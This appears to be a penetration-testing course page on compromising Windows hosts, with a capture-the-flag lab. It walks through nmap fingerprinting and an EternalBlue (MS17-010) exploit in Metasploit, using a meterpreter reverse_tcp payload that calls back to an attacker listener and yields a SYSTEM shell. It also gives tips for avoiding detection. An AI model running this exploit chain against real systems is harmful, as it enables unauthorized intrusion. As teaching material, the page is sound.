

Infiltrating Windows

Since many of us can remember, Microsoft has dominated the home and enterprise markets for computing. In modern days, with the introduction of improved Active Directory features, more interconnectivity with cloud services, Windows subsystem for Linux, and much more, the Microsoft attack surface has grown as well.

For example, just in the last five years, there have been **3688** reported vulnerabilities just within Microsoft Products, and this number grows daily. This table was derived from [HERE](#)

Windows Vulnerability Table

Year	# of Vulnerabilities	DoS	Code Execution	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal	Http Response Splitting	Bypass something	Gain Information	Gain Privileges	CSRF	File Inclusion	# of exploits
1999	172	42	26	18						7	7	7			
2000	143	42	21	16			2			8	2	6			
2001	172	67	38	24			3	1		5	4	12			
2002	242	57	67	54		3	15	1		25	8	12			
2003	104	28	47	40	1	1	7	3		10	4	4			
2004	148	36	58	34	1		3	6		21	4	4			1
2005	162	46	66	37	10		8			9	8	7			
2006	260	81	141	79	44		6	1		11	11	8			4
2007	202	54	93	52	30		13	2	1	10	8	13			
2008	198	40	122	44	40		13	2		12	9	11			14
2009	181	37	98	47	41		3	1		7	9	18			10
2010	248	52	144	61	50		14			6	8	44	1		22
2011	203	42	71	36	33		12		1	4	9	80			4
2012	133	15	63	21	19		13			10	6	32			
2013	307	123	174	120	110		10	2		14	18	75			6
2014	346	243	260	196	226		10			20	18	24			14
2015	514	209	296	156	227		31	1		63	59	90	1		1
2016	479	120	223	178	166		15			48	79	103			
2017	496	55	154	110	65		19			32	162	24	1		
2018	583	32	211	13	98		53	1		53	52	8	2		
2019	759	49	265	8	79		47	2		31	82	5	3	1	
2020	1220	46	290	175	56		76			33	127	75	1		
2021	630	43	235	6	4	1	5	1		43	38				
Total	7902	1559	3163	1525	1300	5	378	24	2	482	732	662	9	1	76
% Of All		19.7	40.0	19.3	16.5	0.1	4.8	0.3	0.0	6.1	9.3	8.4	0.1	0.0	

Prominent Windows Exploits

Over the last few years, several vulnerabilities in the Windows operating system and their corresponding attacks are some of the most exploited vulnerabilities of our time. Let's discuss those for a minute:

Vulnerability	Description
MS08-067	MS08-067 was a critical patch pushed out to many different Windows revisions due to an SMB flaw. This flaw made it extremely easy to infiltrate a Windows host. It was so efficient that the Conficker worm was using it to infect every vulnerable host it came across. Even Stuxnet took advantage of this vulnerability.
Eternal Blue	MS17-010 is an exploit leaked in the Shadow Brokers dump from the NSA. This exploit was most notably used in the WannaCry ransomware and NotPetya cyber attacks. This attack took advantage of a flaw in the SMB v1 protocol allowing for code execution. EternalBlue is believed to have infected upwards of 200,000 hosts just in 2017 and is still a common way to find access into a vulnerable Windows host.
PrintNightmare	A remote code execution vulnerability in the Windows Print Spooler. With valid credentials for that host or a low privilege shell, you can install a printer, add a driver that runs for you, and grants you system-level access to the host. This vulnerability has been ravaging companies through 2021. 0xdf wrote an awesome post on it here .

BlueKeep	CVE 2019-0708 is a vulnerability in Microsoft's RDP protocol that allows for Remote Code Execution. This vulnerability took advantage of a miss-called channel to gain code execution, affecting every Windows revision from Windows 2000 to Server 2008 R2.
Signed	CVE 2020-1350 utilized a flaw in how DNS reads SIG resource records. It is a bit more complicated than the other exploits on this list, but if done correctly, it will give the attacker Domain Admin privileges since it will affect the domain's DNS server which is commonly the primary Domain Controller.
SeriousSam	CVE 2021-36924 exploits an issue with the way Windows handles permission on the <code>C:\Windows\system32\config</code> folder. Before fixing the issue, non-elevated users have access to the SAM database, among other files. This is not a huge issue since the files can't be accessed while in use by the pc, but this gets dangerous when looking at volume shadow copy backups. These same privilege mistakes exist on the backup files as well, allowing an attacker to read the SAM database, dumping credentials.
ZeroLogon	CVE 2020-1472 is a critical vulnerability that exploits a cryptographic flaw in Microsoft's Active Directory Netlogon Remote Protocol (MS-NRPC). It allows users to log on to servers using NT LAN Manager (NTLM) and even send account changes via the protocol. The attack can be a bit complex, but it is trivial to execute since an attacker would have to make around 256 guesses at a computer account password before finding what they need. This can happen in a matter of a few seconds.

With these vulnerabilities in mind, Windows isn't going anywhere. We need to be proficient with identifying vulnerabilities, exploiting them, and moving around in Windows hosts and environments. An understanding of these concepts can help us secure our environments from attack as well. Now it's time to dive in and explore some Windows-focused exploit fun.

Enumerating Windows & Fingerprinting Methods

This module assumes you have already performed your host enumeration phase and understand what services are commonly seen on hosts. We are just attempting to give you a few quick tricks to determine if a host is likely a Windows machine. Check out the [Network Enumeration With NMAP](#) module for a more detailed look at host enumeration and fingerprinting.

Since we have a set of targets, **what are a few ways to determine if the host is likely a Windows Machine?** To answer this question, we can look at a few things. The first one being the **Time To Live (TTL)** counter when utilizing ICMP to determine if the host is up. A typical response from a Windows host will either be 32 or 128. A response of or around 128 is the most common response you will see. This value may not always be exact, especially if you are not in the same layer three network as the target. We can utilize this value since most hosts will never be more than 20 hops away from your point of origin, so there is little chance of the TTL counter dropping into the acceptable values of another OS type. In the ping output **below**, we can see an example of this. For the example, we pinged a Windows 10 host and can see we have received replies with a TTL of 128. Check out this [link](#) for a nice table showing other TTL values by OS.

Pinged Host

Pinged Host
<pre>dbcypth0n@htb[/htb]\$ ping 192.168.86.39 PING 192.168.86.39 (192.168.86.39): 56 data bytes 64 bytes from 192.168.86.39: icmp_seq=0 ttl=128 time=102.920 ms 64 bytes from 192.168.86.39: icmp_seq=1 ttl=128 time=9.164 ms 64 bytes from 192.168.86.39: icmp_seq=2 ttl=128 time=14.223 ms 64 bytes from 192.168.86.39: icmp_seq=3 ttl=128 time=11.265 ms</pre>

Another way we can validate if the host is Windows or not is to use our handy tool, **NMAP**. Nmap has a cool capability built in to help with OS identification and many other scripted scans to check for anything from a specific vulnerability to information gathered from SNMP. For this example, we will utilize the **-O** option with verbose output **-v** to initialize an OS Identification scan against our target **192.168.86.39**. As we scroll through the shell session below and look at the results, a few things give this away as a Windows host. We will focus on those here in a minute. Look carefully at the bottom of the shell session. We can see the point labeled **OS CPE:** `cpe:/o:microsoft:windows_10` and **OS details:** `Microsoft Windows 10 1709 - 1909`. Nmap made this guess based on several different metrics it derives from the TCP/IP stack. It uses those qualities to determine the OS as it checks it against a database of OS

fingerprints. In this case, Nmap has determined that our host is a Windows 10 machine with a revision level between 1709 & 1909.

If you run into issues and the scans turn up little results, attempt again with the `-A` and `-Pn` options. This will perform a different scan and may work. For more info on how this process works, check out this article from the [Nmap Documentation](#). Be careful of this detection method. Implementing a firewall or other security features can obscure the host or mess the results up. When possible, use more than one check to make a determination.

OS Detection Scan

OS Detection Scan

```
dbcypth0n@htb[/htb]$ sudo nmap -v -O 192.168.86.39

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 17:40 EDT
Initiating ARP Ping Scan at 17:40
Scanning 192.168.86.39 [1 port]
Completed ARP Ping Scan at 17:40, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:40
Completed Parallel DNS resolution of 1 host. at 17:40, 0.02s elapsed
Initiating SYN Stealth Scan at 17:40
Scanning desktop-jba7h4t.lan (192.168.86.39) [1000 ports]
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Completed SYN Stealth Scan at 17:40, 1.54s elapsed (1000 total ports)
Initiating OS detection (try #1) against desktop-jba7h4t.lan (192.168.86.39)
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.010s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
912/tcp   open  apex-mesh
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop
```

Now that we know we are dealing with a Windows 10 host, we need to enumerate the services we can see to determine if we have a potential avenue of exploitation. To perform banner grabbing, we can use several different tools. Netcat, Nmap, and many others can perform the enumeration we need, but for this instance, we will look at a simple Nmap script called `banner.nse`. For each port Nmap sees as up, it will attempt to connect to the port and glean any information it can from it. In the session below, Nmap tried to connect to each port, but the only ports to give back a response were ports 902 and 912. Based on the page banner, they have something to do with VMWare Workstation. We can attempt to find an exploit dealing with that protocol, or we can further enumerate the other ports. In a real pentest, you will want to be as thorough as possible, making sure you have the full lay of the land.

Banner Grab to Enumerate Ports

Banner Grab to Enumerate Ports

```
dbcypth0n@htb[/htb]$ sudo nmap -v 192.168.86.39 --script banner.nse

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 18:01 EDT
NSE: Loaded 1 scripts for scanning.
```

```

<snip>
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Completed SYN Stealth Scan at 18:01, 1.46s elapsed (1000 total ports)
NSE: Script scanning 192.168.86.39.
Initiating NSE at 18:01
Completed NSE at 18:01, 20.11s elapsed
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.012s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
443/tcp    open  https
445/tcp    open  microsoft-ds
902/tcp    open  iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, Se
|_rverDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supported/t
912/tcp    open  apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:SOAP, MKSDisplayProtocol:VNC , ,
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)

```

The examples shown above are just a few ways to help fingerprint and determine if a host is a Windows machine. It is by no means an exhaustive list, and there are many other checks you can do. Now that we have discussed fingerprinting let's look at several file types and what they can be used for when building out payloads.

Bats, DLLs, & MSI Files, Oh My!

When it comes to creating payloads for Windows hosts, we have plenty of options to choose from. DLLs, batch files, MSI packages, and even PowerShell scripts are some of the most common methods to use. Each file type can accomplish different things for us, but what they all have in common is that they are executable on a host. Try to keep your delivery mechanism for the payload in mind, as this can determine what type of payload you use.

Payload Types to Consider

- **DLLs** A Dynamic Linking Library (DLL) is a library file used in Microsoft operating systems to provide shared code and data that can be used by many different programs at once. These files are modular and allow us to have applications that are more dynamic and easier to update. As a pentester, injecting a malicious DLL or hijacking a vulnerable library on the host can elevate our privileges to SYSTEM and/or bypass User Account Controls.
- **Batch** Batch files are text-based DOS scripts utilized by system administrators to complete multiple tasks through the command-line interpreter. These files end with an extension of **.bat**. We can use batch files to run commands on the host in an automated fashion. For example, we can have a batch file open a port on the host, or connect back to our attacking box. Once that is done, it can then perform basic enumeration steps and feed us info back over the open port.
- **VBS** VBScript is a lightweight scripting language based on Microsoft's Visual Basic. It is typically used as a client-side scripting language in web servers to enable dynamic web pages. VBS is dated and disabled by most modern web browsers but lives on in the context of Phishing and other attacks aimed at having users perform an action such as enabling the loading of Macros in an excel document or clicking on a cell to have the Windows scripting engine execute a piece of code.
- **MSI** **.msi** files serve as an installation database for the Windows Installer. When attempting to install a new application, the installer will look for the .msi file to understand all of the components required and how to find them. We can use the Windows Installer by crafting a payload as an .msi file. Once we have it on the host, we can run **msiexec** to execute our file, which will

provide us with further access, such as an elevated reverse shell.

- **Powershell** Powershell is both a shell environment and scripting language. It serves as Microsoft's modern shell environment in their operating systems. As a scripting language, it is a dynamic language based on the .NET Common Language Runtime that, like its shell component, takes input and output as .NET objects. PowerShell can provide us with a plethora of options when it comes to gaining a shell and execution on a host, among many other steps in our penetration testing process.

Now that we understand what each type of Windows file can be used for let's discuss some basic tools, tactics, and procedures for building our payloads and delivering them onto the host to land a shell.

Tools, Tactics, and Procedures for Payload Generation, Transfer, and Execution

Below you will find examples of different payload generation methods and ways to transfer our payloads to the victim. We will talk about some of these methods at a high level since our focus is on the payload generation itself and the different ways to acquire a shell on the target.

Payload Generation

We have plenty of good options for dealing with generating payloads to use against Windows hosts. We touched on some of these already in previous sections. For example, the Metasploit-Framework and MSFVenom is a very handy way to generate payloads since it is OS agnostic. The table below lays out some of our options. However, this is not an exhaustive list, and new resources come out daily.

Resource	Description
MSFVenom & Metasploit-Framework	Source MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.
Payloads All The Things	Source Here, you can find many different resources and cheat sheets for payload generation and general methodology.
Mythic C2 Framework	Source The Mythic C2 framework is an alternative option to Metasploit as a Command and Control Framework and toolbox for unique payload generation.
Nishang	Source Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes many utilities that can be useful to any pentester.
Darkarmour	Source Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.

Payload Transfer and Execution:

Besides the vectors of web-drive-by, phishing emails, or dead drops, Windows hosts can provide us with several other avenues of payload delivery. The list below includes some helpful tools and protocols for use while attempting to drop a payload on a target.

- **Impacket**: [Impacket](#) is a toolset built-in Python that provides us a way to interact with network protocols directly. Some of the most exciting tools we care about in Impacket deal with [psexec](#), [smbclient](#), [wmi](#), Kerberos, and the ability to stand up an SMB server.
- **Payloads All The Things**: is a great resource to find quick oneliners to help transfer files across hosts expediently.
- **SMB**: SMB can provide an easy to exploit route to transfer files between hosts. This can be especially useful when the victim hosts are domain joined and utilize shares to host data. We, as attackers, can use these SMB file shares along with C\$ and admin\$ to host and transfer our payloads and even exfiltrate data over the links.

- **Remote execution via MSF:** Built into many of the exploit modules in Metasploit is a function that will build, stage, and execute the payloads automatically.
- **Other Protocols:** When looking at a host, protocols such as FTP, TFTP, HTTP/S, and more can provide you with a way to upload files to the host. Enumerate and pay attention to the functions that are open and available for use.

Now that we know what tools, tactics, and procedures we can use to transfer our payloads, let's check out an example compromise process.

Example Compromise Walkthrough

1. Enumerate The Host

Ping, Netcat, Nmap scans, and even Metasploit are all good options to start enumerating our potential victims. To start this time, we will utilize an Nmap scan. The enumeration portion of any exploit chain is arguably the most critical piece of the puzzle.

Understanding the target and what makes it tick will raise your chances of gaining a shell.

Enumerate the Host

Enumerate the Host

```

dbcyp0n@htb[/htb]$ nmap -v -A 10.129.201.97

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 18:13 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.

Discovered open port 135/tcp on 10.129.201.97
Discovered open port 80/tcp on 10.129.201.97
Discovered open port 445/tcp on 10.129.201.97
Discovered open port 139/tcp on 10.129.201.97
Completed Connect Scan at 18:13, 12.76s elapsed (1000 total ports)
Completed Service scan at 18:13, 6.62s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.201.97.
Nmap scan report for 10.129.201.97
Host is up (0.13s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-methods:
|_   Supported Methods: OPTIONS TRACE GET HEAD POST
|_   Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: 10.129.201.97 - /
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
|_ smb-os-discovery:
|_   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|_   Computer name: SHELLS-WINBLUE
|_   NetBIOS computer name: SHELLS-WINBLUE\x00
|_   Workgroup: WORKGROUP\x00
|_   System time: 2021-09-27T15:13:28-07:00
|_ smb-security-mode:
|_   account_used: <blank>
|_   authentication_level: user
|_   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|_   2.02:
|_     Message signing enabled but not required

```

```
|_ message signing enabled but not required
| smb2-time:
|   date: 2021-09-27T22:13:30
|_ start_date: 2021-09-23T15:29:29
```

We figured out a few things during scanning & validation of the example host in question. It is running **Windows Server 2016 Standard 6.3**. We have the hostname now, and we know it is not in a domain and is running several services. Now that we have gathered some information let's determine our potential exploit path.

IIS could be a potential path, attempting to access the host over SMB utilizing a tool like Impacket or authenticating if we had credentials could do it, and from an OS perspective, there may be a route for an RCE as well. MS17-010 (EternalBlue) has been known to affect hosts ranging from Windows 2008 to Server 2016. With this in mind, it could be a solid bet that our victim is vulnerable since it falls in that window. Let's validate that using a builtin auxiliary check from **Metasploit**, **auxiliary/scanner/smb/smb_ms17_010**.

2. Search for and decide on an exploit path

Open **msfconsole** and search for EternalBlue, or you can use the string in the session below to use the check. Set the RHOSTS field with the target's IP address and initiate the scan. As can be seen in the options for the module, you can fill in more of the SMB settings, but it is not necessary. They will help to make the check more likely to succeed. When ready, type **run**.

Determine an Exploit Path

```

Determine an Exploit Path

msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

  Name          Current Setting      Required  Description
  ----          -
  CHECK_ARCH    true                 no        Check for architecture on vulnerable hosts
  CHECK_DOPU    true                 no        Check for DOUBLEPULSAR on vulnerable hosts
  CHECK_PIPE    false                no        Check for named pipe on vulnerable hosts
  NAMED_PIPES   /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
  RHOSTS        yes                 The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         445                 yes       The SMB service port (TCP)
  SMBDomain     .                   no        The Windows domain to use for authentication
  SMBPass       no                  The password for the specified username
  SMBUser       no                  The username to authenticate as
  THREADS       1                   yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.129.201.97

RHOSTS => 10.129.201.97
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.129.201.97:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.129.201.97:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

Now, we can see from the check results that our target is likely vulnerable to EternalBlue. Let's set up the exploit and payload now, then give it a shot.

3. Select Exploit & Payload, then Deliver

Choose & Configure Our Exploit & Payload

Choose & Configure Our Exploit & Payload

```
msf6 > search eternal
```

```
Matching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	-----	-----	-----
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB
1	exploit/windows/smb/ms17_010_eternalblue_win8	2017-03-14	average	No	MS17-010 EternalBlue SMB
2	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/I
3	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/I
4	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detectio
5	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote C

For this instance, we dug through MSF's exploit modules utilizing the search function to look for an exploit matching EternalBlue. The list above was the result. Since I have had more luck with the **psexec** version of this exploit, we will try that one first. Let's choose it and continue the setup.

Configure The Exploit & Payload

Configure The Exploit & Payload

```
msf6 > use 2
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
```

```
Module options (exploit/windows/smb/ms17_010_psexec):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
DBGTRACE	false	yes	Show extra debug trace info
LEAKATTEMPTS	99	yes	How many times to try to leak transaction
NAMEDPIPE		no	A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES	/usr/share/metasploit-frame work/data/wordlists/named_p ipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	445	yes	The Target port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.86.48	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Be sure to set your payload options correctly before running the exploit. Any options that have **Required** set to yes will be a necessary space to fill. In this instance, we need to ensure that our **RHOSTS**, **LHOST**, and **LPORT** fields are correctly set. For this attempt, accepting the defaults for the rest is OK.

Validate Our Options

```

Validate Our Options

msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

  Name                Current Setting      Required  Description
  ----                -
  DBGTRACE             false                yes       Show extra debug trace info
  LEAKATTEMPTS         99                  yes       How many times to try to leak transaction
  NAMEDPIPE            no                  no        A named pipe that can be connected to (leave blank for auto)
  NAMED_PIPES          /usr/share/metasploit-frame
                     work/data/wordlists/named_p
                     ipes.txt
  RHOSTS               10.129.201.97        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                445                 yes       The Target port (TCP)
  SERVICE_DESCRIPTION  no                  no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME no                  no        The service display name
  SERVICE_NAME         no                  no        The service name
  SHARE                ADMIN$               yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain            .                    no        The Windows domain to use for authentication
  SMBPass              no                  no        The password for the specified username
  SMBUser              no                  no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.14.12     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

```

This time, we kept it simple and just used a `windows/meterpreter/reverse_tcp` payload. You can change this as you wish for a different shell type or obfuscate your attack more, as shown in the previous payloads sections. With our options set, let's give this a try and see if we land a shell.

4. Execute Attack, and Receive A Callback.

Execute Our Attack

```

Execute Our Attack

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.129.201.97:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.201.97:445 - Built a write-what-where primitive...
[*] 10.129.201.97:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.201.97:445 - Selecting PowerShell target
[*] 10.129.201.97:445 - Executing the payload...
[+] 10.129.201.97:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.201.97
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.129.201.97:50215) at 2021-09-27 18:58:00 -0400

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

meterpreter >

Success! We have landed our exploit and gained a shell session. A **SYSTEM** level shell at that. As seen in the earlier MSF modules, now that we have an open session through Meterpreter, we are presented with the **meterpreter >** prompt. From here, we can utilize Meterpreter to run further commands to gather system information, steal user credentials, or use another post-exploitation module against the host. If you wish to interact with the host directly, you can also drop into an interactive shell session on the host from Meterpreter.

5. Identify the Native Shell.

Identify Our Shell

Identify Our Shell

```
meterpreter > shell

Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

When we executed the Meterpreter command **shell**, it started another process on the host and dropped us into a system shell. Can you determine what we are in from the prompt? Just seeing **C:\Windows\system32>** can clue us in that we are just in a **cmd.exe shell**. To make sure, simply running the command **help** from within the shell will also let you know. If we were dropped into PowerShell, our prompt would look like **PS C:\Windows\system32>**. The PS in front lets us know it is a PowerShell session. Congrats on dropping into a shell on our latest exploited Windows host.

Now that we have run through a sample compromise process let's examine the shells you can see when you land on the host.

CMD-Prompt and Power[Shell]s for Fun and Profit.

We are fortunate with Windows hosts to have not one but two choices for shells to utilize by default. Now you may be wondering:

Which one is the right one to use?

The answer is simple, the one that provides you with the capability you need at the time. Compare **cmd** and **PowerShell** for a minute to get a sense of what they offer and when it would be best to pick one over the other.

CMD shell is the original MS-DOS shell built into Windows. It was made for basic interaction and I.T. operations on a host. Some simple automation could be achieved with batch files, but that was all. Powershell came along with a purpose to expand the capabilities of cmd. PowerShell understands the native MS-DOS commands utilized in CMD and a whole new set of commands based in .NET. New self-sufficient modules can also be implemented into PowerShell with cmdlets. CMD prompt deals with text input and output while Powershell utilizes .NET objects for all input and output. Another important consideration is that CMD does not keep a record of the commands used during the session whereas, PowerShell does. So in the context of being stealthy, executing commands with cmd will leave less of a trace on the host. Other potential problems such as **Execution Policy** and **User Account Control (UAC)** can inhibit your ability to execute commands and scripts on the host. These considerations affect **PowerShell** but not cmd. Another big concern to take into account is the age of the host. If you land on a Windows XP or older host (yes, it's still possible..) PowerShell is not present, so your only option will be cmd. PowerShell did not come to fruition until Windows 7. So to sum it all up:

Use **CMD** when:

- You are on an older host that may not include PowerShell.
- When you only require simple interactions/access to the host.
- When you plan to use simple batch files, net commands, or MS-DOS native tools.
- When you believe that execution policies may affect your ability to run scripts or other actions on the host.

Use PowerShell when:

- You are planning to utilize cmdlets or other custom-built scripts.
- When you wish to interact with .NET objects instead of text output.
- When being stealthy is of lesser concern.
- If you are planning to interact with cloud-based services and hosts.
- If your scripts set and use Aliases.

WSL and PowerShell For Linux

The Windows Subsystem for Linux is a powerful new tool that has been introduced to Windows hosts that provides a virtual Linux environment built into your host. We mention this because the rapidly changing landscape of operating systems may very well allow for novel ways of gaining access to a host. When writing this module, several examples of malware in the wild were attempting to utilize Python3 and Linux binaries to download and install payloads onto a Windows host via WSL. Much like in this post [here](#), attackers are also using built-in Python libraries that are native to both Windows and Linux alongside PowerShell to perform other actions on the host. One other thing to note is currently, any network requests or functions executed to or from the WSL instance are not parsed by the Windows Firewall and Windows Defender, making it a bit of a blind spot on the host.

The same issues can currently be found via PowerShell Core, which can be installed on Linux operating systems and carry over many normal PowerShell functions. These two concepts are exceptionally sneaky because, to date, not much is known about the vectors of attack or ways to watch for them. But attacks aimed at these features have been seen to avoid AV and EDR detection mechanisms. These concepts are a bit advanced for this module but look for them in a future module.

VPN Servers

⚠ **Warning:** Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

PROTOCOL

● UDP 1337 ● TCP 443

DOWNLOAD VPN CONNECTION FILE



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

77ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: [Click here to spawn the target system!](#)



Cheat Sheet



Download VPN
Connection File

+ 0

What file type is a text-based DOS script used to perform tasks from the cli? (answer with the file extension, e.g. '.something')

Submit your answer here...



Submit



Hint

+ 0

What Windows exploit was dropped as a part of the Shadow Brokers leak? (Format: ms bulletin number, e.g. MSxx-xxx)

Submit your answer here...



Submit



Hint

+ 1

Gain a shell on the vulnerable target, then submit the contents of the flag.txt file that can be found in C:\

Submit your answer here...



Submit

[< Previous](#)[Next >](#)[📄 Cheat Sheet](#)[? Go to Questions](#)

Table of Contents

Introduction

Shells Jack Us In, Payloads Deliver Us Shells



CAT5 Security's Engagement Preparation



Shell Basics

Anatomy of a Shell



Bind Shells



Reverse Shells



Payloads

Introduction to Payloads



Automating Payloads & Delivery with Metasploit

Crafting payloads with MSFvenom



Windows Shells

[Infiltrating Windows](#)

NIX Shells

Infiltrating Unix/Linux

Spawning Interactive Shells

Web Shells

Introduction to Web Shells

Laudanum, One Webshell to Rule Them All

Antak Webshell

PHP Web Shells

Skills Assessment

The Live Engagement

Additional Considerations

Detection & Prevention

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left